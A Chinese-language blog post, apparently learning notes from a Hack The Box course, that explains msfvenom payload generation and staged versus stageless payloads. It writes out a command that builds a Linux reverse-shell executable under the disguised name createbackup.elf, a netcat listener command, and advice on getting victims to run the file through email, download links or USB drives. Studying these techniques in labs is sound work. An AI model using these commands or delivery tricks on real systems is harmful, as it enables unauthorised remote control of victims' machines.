iT邦幫忙

2024 iThome 鐵人賽

DAY 12
0
Security

前端小廢物誤入 Hackthebox Module系列 第 12

MSVenom - 生成和編碼 Payload

  • 分享至 

  • xImage
  •  

MSVenom 知多少?

MSVenom 是什麼

MSFvenomMetasploit 框架中的一個工具,用於生成和編碼各種類型的 payload(有效載荷)。

它將原先的兩個工具 msfpayloadmsfencode 結合在一起,並提供了更簡單、更靈活的使用體驗。

MSFvenom 可以用來創建各種平台(如 WindowsLinuxmacOSAndroid 等)上的反向連接、綁定 Shell 以及 Meterpreterpayload,並且允許將 payload 打包成多種格式(如 exeelfapk 等)。

MSFvenom 的主要功能包括

生成 Payload

根據目標系統選擇合適的 payload,支持各種平台。

編碼 Payload

使用不同的編碼技術來繞過防病毒軟件的檢測。

自定義選項

指定目標 IPLHOST)、端口(LPORT)、格式(-f)等參數,來生成具體需求的 payload

用途

MSFvenom 生成的 payload 可以用於滲透測試或社會工程攻擊,並可以結合 Metasploit 模塊來自動化攻擊。

範例

在裝有 Metasploit 的環境下,輸入以下 Command 可以看到 payloads ~

msfvenom -l payloads

https://ithelp.ithome.com.tw/upload/images/20240926/20107197eYhnS1vsrK.png

如果在 Description 有看到 staged 或是 stageless 其實就代表他們分別是分段的或是非分段的 ~

之前有說明過這塊,有興趣的讀者可以翻閱前幾篇的文章閱讀 ~

這邊想要分享的是命名的部分,名字通常會先標示「目標的作業系統」,例如 LinuxWindowsMacOS 等等。接著,你會發現有些有效 payload 會標示為「分段(Staged)」或「無分段(Stageless)」。

幫讀者複習一下這兩者的差異:

分段(Staged)有效 payload:

它會先發送一個小的「階段」到目標機器,執行之後再向攻擊端請求下載剩下的部分,並執行最終的 shell。

這種方式的好處是,我們可以先把一部分東西發過去,等目標機器準備好後再發送剩餘部分。缺點是,這樣的方式會佔用一些記憶體空間,可能導致稍微不穩定。

無分段(Stageless)有效 payload:

一次性把整個攻擊 payload 發送過去,不需要分成多個步驟。這對於網路帶寬有限或網絡延遲較高的環境比較有幫助,因為分段的話可能會因為網路不穩定導致 shell 連不上。

無分段的方式可以減少網路傳輸的次數,某些情況下也更有助於隱藏行動,像是透過社交工程來傳遞的話會更難被偵測

建立 Stageless Payload 並執行它

Linux 為例 ~

建立 Payload

在確認攻擊目標後,我們可以透過 Msfvenom 建立 payload 並且執行他。

首先,我們假設攻擊目標是 10.10.14.113:443,我們想要生成 payload 並且存到 createbackup.elf 檔案中 ~ 方便往後使用 /images/emoticon/emoticon75.gif

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

參數說明:

-p linux/x64/shell_reverse_tcp:

-p 是指選擇 payload,這裡選擇的是 linux/x64/shell_reverse_tcp
linux/x64 表示這個 payload 是針對 64 位 Linux 系統的。

shell_reverse_tcp 表示這是個反向 shell 的有效 payload,意思是當這個 payload 在目標機器上執行時,它會嘗試與攻擊者的機器進行回連(反向連線),並給攻擊者一個 shell(命令行介面)來控制目標機器。

LHOST=10.10.14.113:

LHOST 代表攻擊者的 IP 地址。

LPORT=443:

LPORT 是攻擊者設置的用來監聽連接的端口號。

-f elf:

-f 是指定生成的 payload 的文件格式。在這裡,elf 表示生成的文件將是一個 ELFExecutable and Linkable Format)檔案,這是 Linux 系統上可執行文件的標準格式。

> createbackup.elf:

這個部分是將生成的 payload 輸出到一個名為 createbackup.elf 的文件中。這個 ELF 文件就是攻擊者準備好的惡意軟體,一旦在目標 Linux 系統上執行,它會嘗試與攻擊者的機器建立連接。

社交工程 - 受害者無意間執行

當我們建立好有效 payload 後,我們需要讓受害者無意間執行他 ~

接下來,我們需要想辦法把這個有效載荷傳送到目標系統上!

比較常見的辦法有:

  • 透過電子郵件附加檔案發送。
  • 在網站上提供下載連結。
  • Metasploit 的攻擊模組結合(這可能需要我們已經進入內部網路)。
  • 透過隨身碟作為現場滲透測試的一部分。

當檔案到達目標系統後,我們還需要讓它被執行。

這時候,最簡單的情境就是,有個管理員不小心點擊到這個檔案 XD
就攻擊成功了,顆顆

記得監聽阿

因為我們想要讓目標執行的是反向 shell XD
要記得監聽它的 port 啊!

sudo nc -lvnp 443

今日小心得

只能說,有睡飽就是精神飽滿
思緒比較清晰

參考資源

https://academy.hackthebox.com/


上一篇
Metasploit & Payload - 模塊知多少?
下一篇
滲透測試範例
系列文
前端小廢物誤入 Hackthebox Module30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言